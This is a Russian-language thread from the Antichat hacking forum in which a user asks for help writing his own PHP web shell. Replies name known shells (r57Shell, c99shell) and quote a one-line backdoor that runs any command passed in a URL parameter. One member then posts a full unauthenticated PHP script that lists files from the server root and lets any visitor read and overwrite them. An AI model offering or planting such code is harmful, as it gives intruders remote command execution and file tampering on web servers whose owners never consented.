Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   php shell (https://forum.antichat.xyz/showthread.php?t=70616)

lomerok 17.05.2008 21:59

php shell
 
решил написать шелл ..
но , столкнулся с проблемой , как сделать так чтоб файлы автоматом станавились ссылками на редактирование ??

zer0ska 17.05.2008 23:26

Цитата:

решил написать шелл ..
но , столкнулся с проблемой , как сделать так чтоб файлы автоматом станавились ссылками на редактирование ??
не понел вапроса.

ИМХО есть же r57Shell и antichatshell
ну или
Цитата:

<h3><pre><? system(@$_GET["cmd"]); ?> </pre></h3>

lomerok 17.05.2008 23:44

Цитата:

Сообщение от zer0ska
не понел вапроса.

ИМХО есть же r57Shell и antichatshell
ну или

что тут непонятно , хочу написать свой полностью функциональный шелл ...

pento 17.05.2008 23:59

Цитата:

Сообщение от lomerok
что тут непонятно , хочу написать свой полностью функциональный шелл ...

Для начала освой какой-нить язык программирования, например тот же php. И таких вопросов у тебя не будет.

lomerok 18.05.2008 00:16

php я учу , поэтому и пишу shell . или сейчас модно осваивать програмирование без практики ??
имхо , умники вроде pento , промолчите пожалусто , коли поделу нечего сказать...

Dimi4 18.05.2008 00:27

Цитата:

Сообщение от lomerok
php я учу , поэтому и пишу shell . или сейчас модно осваивать програмирование без практики ??
имхо , умники вроде pento , промолчите пожалусто , коли поделу нечего сказать...

ну если розбираешся, дык пойди и возьми тот же c99shell(например) и посмотри ка сделано там. Потом попробуй не скопировать, а написать так же.

d_x 18.05.2008 00:37

Цитата:

или сейчас модно осваивать програмирование без практики ??
Практика должна начинаться с простых скриптов, а не с полнофункционального шелла.

Цитата:

чтоб файлы автоматом станавились ссылками на редактирование
Я такой вопрос вообще не понимаю. При достаточном уровне знаний в том же php его не возникает. Могу ответить только абстрактно - получаем список файлов из заданной директории (функции opendir(), readdir(), closedir()), и, выводя список диров и файлов в браузер, добавляем к имени всех файлов (filetype()) ссылку на скрипт, открывающий файл для редактирования (простейший пример: print "<a href='myshell.php?act=edit&file=".urlencode($file_ name)."'>edit</a>"; ).

lomerok 18.05.2008 01:11

Цитата:

Сообщение от d_x
Практика должна начинаться с простых скриптов, а не с полнофункционального шелла.


Я такой вопрос вообще не понимаю. При достаточном уровне знаний в том же php его не возникает. Могу ответить только абстрактно - получаем список файлов из заданной директории (функции opendir(), readdir(), closedir()), и, выводя список диров и файлов в браузер, добавляем к имени всех файлов (filetype()) ссылку на скрипт, открывающий файл для редактирования (простейший пример: print "<a href='myshell.php?act=edit&file=".urlencode($file_ name)."'>edit</a>"; ).

В том-то и дело , абстрактно я тоже могу , а вот как именно сделать из имён фаилов - ссылки , недогоняю..
имхо абстрактно мы все можем..
но всеравно спасибо...

d_x 18.05.2008 01:57

Вот простейший скрипт (без особых проверок), который отображает список каталогов и файлов в заданной директории и позволяет редактировать файлы.

PHP код:

<html><head>
<meta http-equiv="Content-Type" content="text/html;charset=windows-1251">
<title>Список файлов</title></head>
<body>
<?php
$dir
='/'//каталог, с которым работаем



if(isset($_GET['act']))
{
  
$fl=isset($_GET['file']) ? $_GET['file'] : '';
  if(
file_exists($dir.$fl) && filetype($dir.$fl)=="file")
  {
    
$fc=htmlspecialchars(file_get_contents($dir.$fl));
    
$fname=htmlspecialchars($fl);
    
$furl=urlencode($fl);


    if(
$_GET['act']=='edit'//отображаем содержимое файла
    
{
print <<<HERE
<form action='?act=save&file=$furl' method='post'>
Редактирование <b>
$fname</b>:
<br><textarea cols=80 rows=30 name='content' wrap=off>
$fc</textarea><br><input type='submit' value='Сохранить'>
</form><hr>
HERE;
    }
    elseif(
$_GET['act']=='save'//сохраняем новое содержимое
    
{
      
$content=isset($_POST['content']) ? $_POST['content'] : '';
      
$fp=fopen($dir.$fl,'w+');
      
fputs($fp,$content);
      
fclose($fp);

      print 
"Файл <b>$fname</b> отредактирован.<hr>";
    }
  }
}


//читаем заданный каталог
$d=opendir($dir);
$elem=@readdir($d);

$elemf=Array();
$elemd=Array();

//получаем списки файлов и каталогов
while($elem)
{
  if(
$elem!="." and $elem!="..")
  {
    if(
filetype($dir.$elem)=="file")
      
$elemf[]=$elem;
    else
      
$elemd[]=$elem;
  }

  
$elem=@readdir($d);
}


//сортируем списки файлов и каталогов
sort($elemf);
sort($elemd);

$nm=0;$fls=0;$drs=0;

closedir($d);



if(
count($elemf)+count($elemd)<1)
  die(
"В директории $dir нет файлов и каталогов");


foreach(
$elemd as $dr)
{
  print 
'[dir] '.htmlspecialchars($dr).'<br>'//вывод каталогов
}

print 
'<hr>';


foreach(
$elemf as $dr)
{
  print 
"<a href='$PHP_SELF?act=edit&file=".urlencode($dr)."'>".htmlspecialchars($dr)."</a><br>"//вывод файлов со ссылками на редактирование
}


?>
</body></html>


Isis 18.05.2008 02:59

Для начала выучи тег 'a' в HTML


Время: 11:35